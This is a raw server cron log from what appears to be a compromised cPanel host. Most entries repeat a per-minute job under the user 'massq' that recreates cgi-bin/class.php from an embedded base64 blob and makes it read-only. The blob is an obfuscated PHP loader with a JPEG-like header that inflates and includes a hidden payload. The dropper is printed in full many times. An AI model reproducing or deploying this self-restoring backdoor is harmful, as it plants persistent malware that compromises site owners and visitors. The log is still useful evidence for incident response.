Nov 12 10:47:01 server CROND[19745]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:48:01 server CROND[20329]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:49:01 server CROND[21255]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:50:01 server CROND[22082]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 10:50:01 server CROND[22083]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 10:50:01 server CROND[22086]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 10:50:01 server CROND[22084]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:50:01 server CROND[22085]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 10:51:01 server CROND[22972]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:52:01 server CROND[23767]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:53:01 server CROND[24243]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:54:01 server CROND[25082]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:55:01 server CROND[26024]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:55:01 server CROND[26025]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 10:55:01 server CROND[26026]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 10:56:01 server CROND[26839]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:57:01 server CROND[27668]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 10:57:01 server CROND[27669]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:58:01 server CROND[28495]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:59:01 server CROND[29323]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:00:01 server CROND[30271]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 11:00:01 server CROND[30272]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 11:00:01 server CROND[30274]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
